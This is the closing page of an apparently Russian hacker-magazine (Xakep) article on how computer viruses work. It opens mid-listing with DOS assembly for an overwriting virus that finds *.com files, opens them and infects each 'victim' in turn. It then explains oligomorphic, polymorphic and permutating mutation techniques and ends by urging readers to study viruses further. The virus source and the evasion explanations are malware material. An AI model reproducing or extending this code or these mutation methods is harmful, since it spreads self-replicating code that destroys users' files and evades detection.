|

Как работают роботы-убийцы
Xakep, номер #042, стр. 042-046-4
jnc healthy
;------------------------------------------------------------------------------
continue_search:
mov ah,4fh ; Ищем следующий файл
int 21h ;
jc exit_virus ; Если больше нет файлов, то идем на выход
;------------------------------------------------------------------------------
healthy:
mov ax,3d02h ; Откроем файл
mov dx,09eh
int 21h
mov handle,ax ; Сохраним хэндл файла в переменную
call infect_file ; Заразим файл
call close_file ; Закроем его
jmp short continue_search ; Перейдем к следующей жертве
ret
;------------------------------------------------------------------------------
close_file:
mov bx,handle ; Восстановим хэндл файла
mov ah,3eh ; Затем закроем файл
int 21h
;------------------------------------------------------------------------------
exit_virus:
ret ; Конец программы
;------------------------------------------------------------------------------
fmask db '*.com',0 ; Переменные
handle dw ? ;
;------------------------------------------------------------------------------
code ends
end main
;------------------------------------------------------------------------------------------
Этот вирус является наиболее очевидным применением технологии олигоморфизма на простейшем вирусе типа owerwriter.
Чем же полиморфная технология отличается от олигоморфной? А тем, что расшифровщик в полиморфной технологии постоянно мутирует. Простейший пример полиморфной технологии это разбавление расшифровщика командами nop или другими мусорными командами типа xchg ax,ax; mov bx,bx...
Второй вид мутационных технологий - это перемутация. Все достаточно просто: при использовании этой технологии вирус вообще не шифруется, он при каждом заражении копирует в произвольно порядке свои части в жертву и при этом мутирует, собираясь каждый раз как бы из кубиков конструктора, и чем больше таких «кубиков», тем больше мутаций. Круто, да? А ты говоришь «вирусы, вирусы». Это не просто программки - это целые роботы!
Outro
Надеюсь, эта статья тебя торкнула. По крайней мере, ты понял, как работают вирусы и, возможно, даже заинтересовался их механизмами. Думай, учись, изучай. А мы подготовим еще пару материалов о вирусах и их начинках.
Назад на стр. 042-046-3 Содержание
|